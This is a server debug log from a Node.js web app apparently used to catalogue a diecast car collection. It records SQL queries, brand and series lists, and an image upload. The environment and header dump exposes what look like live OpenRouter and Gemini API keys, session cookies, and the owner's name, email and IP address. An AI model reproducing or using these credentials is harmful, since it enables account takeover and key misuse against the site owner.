  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:55:30.757Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:55:30.758Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:55:30.759Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:55:30.759Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:55:30.760Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:55:30.760Z server-connect:app Executing action step identify
2026-02-04T10:55:30.760Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:30.760Z server-connect:output identity: 1
2026-02-04T10:55:30.760Z server-connect:app Executing action step restrict
2026-02-04T10:55:30.760Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:55:30.761Z server-connect:output restrict: undefined
2026-02-04T10:55:30.761Z server-connect:app Executing action step single
2026-02-04T10:55:30.761Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:55:30.761Z server-connect:app Executing action step identify
2026-02-04T10:55:30.761Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:30.761Z server-connect:output identity: 1
2026-02-04T10:55:30.761Z server-connect:app Executing action step restrict
2026-02-04T10:55:30.761Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:55:30.761Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:55:30.762Z server-connect:app Executing action step identify
2026-02-04T10:55:30.762Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:30.762Z server-connect:output identity: 1
2026-02-04T10:55:30.762Z server-connect:app Executing action step restrict
2026-02-04T10:55:30.762Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:55:30.762Z server-connect:app Executing action step identify
2026-02-04T10:55:30.762Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:30.762Z server-connect:output identity: 1
2026-02-04T10:55:30.762Z server-connect:app Executing action step restrict
2026-02-04T10:55:30.762Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:55:30.762Z server-connect:app Executing action step identify
2026-02-04T10:55:30.762Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:30.762Z server-connect:output identity: 1
2026-02-04T10:55:30.762Z server-connect:app Executing action step restrict
2026-02-04T10:55:30.762Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:55:30.762Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:55:30.763Z server-connect:output restrict: undefined
2026-02-04T10:55:30.763Z server-connect:app Executing action step select
2026-02-04T10:55:30.763Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:55:30.764Z server-connect:output restrict: undefined
2026-02-04T10:55:30.764Z server-connect:app Executing action step select
2026-02-04T10:55:30.764Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:55:30.764Z server-connect:output restrict: undefined
2026-02-04T10:55:30.764Z server-connect:app Executing action step select
2026-02-04T10:55:30.764Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:55:30.764Z server-connect:output restrict: undefined
2026-02-04T10:55:30.764Z server-connect:app Executing action step paged
2026-02-04T10:55:30.764Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:55:30.767Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:55:30.768Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:55:30.768Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:55:30.769Z server-connect:app Executing action step identify
2026-02-04T10:55:30.769Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:30.769Z server-connect:output identity: 1
2026-02-04T10:55:30.769Z server-connect:app Executing action step restrict
2026-02-04T10:55:30.769Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:55:30.770Z server-connect:output restrict: undefined
2026-02-04T10:55:30.770Z server-connect:app Executing action step select
2026-02-04T10:55:30.770Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:55:30.771Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:55:30.771Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:55:30.772Z server-connect:app Executing action step select
2026-02-04T10:55:30.772Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:55:30.773Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:55:30.773Z server-connect:app Executing action step select
2026-02-04T10:55:30.773Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:55:30.773Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:55:30.982Z server-connect:router Serving templateView /
2026-02-04T10:55:30.982Z server-connect:app Executing action step identify
2026-02-04T10:55:30.982Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:30.982Z server-connect:output identity: 1
2026-02-04T10:55:30.982Z server-connect:app Executing action step restrict
2026-02-04T10:55:30.982Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:55:30.983Z server-connect:output restrict: undefined
2026-02-04T10:55:30.983Z server-connect:app Executing action step restrict
2026-02-04T10:55:30.983Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:55:30.983Z server-connect:output restrict: undefined
2026-02-04T10:55:30.983Z server-connect:router Render template layouts/main
2026-02-04T10:55:30.983Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=174&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:55:39.593Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:55:39.593Z server-connect:app Executing action step identify
2026-02-04T10:55:39.593Z server-connect:app options: { provider: 'security' }
2026-02-04T10:55:39.593Z server-connect:output identity: 1
2026-02-04T10:55:39.593Z server-connect:app Executing action step restrict
2026-02-04T10:55:39.593Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:55:39.594Z server-connect:output restrict: undefined
2026-02-04T10:55:39.594Z server-connect:app Executing action step condition
2026-02-04T10:55:39.594Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:55:39.594Z server-connect:app Executing action step update
2026-02-04T10:55:39.594Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:55:39.595Z server-connect:output update: { affected: 1 }
2026-02-04T10:55:39.595Z server-connect:app Executing action step upload
2026-02-04T10:55:39.595Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:55:39.595Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:55:39.595Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:55:39.595Z server-connect:upload Processing file: {
  name: 's-l1600 (1).webp',
  data: <Buffer >,
  size: 121644,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-58-20378841770202539592',
  truncated: false,
  mimetype: 'image/webp',
  md5: '7fb294e54665edcfbdf1099037dbf018',
  mv: [Function: mv]
}
2026-02-04T10:55:39.596Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_1_7d10266c-4336-4208-a8a1-d16ed1b875da.webp',
  rel: 'public/assets/images/diecast/s-l1600_1_7d10266c-4336-4208-a8a1-d16ed1b875da.webp'
}
2026-02-04T10:55:39.596Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_1_7d10266c-4336-4208-a8a1-d16ed1b875da.webp',
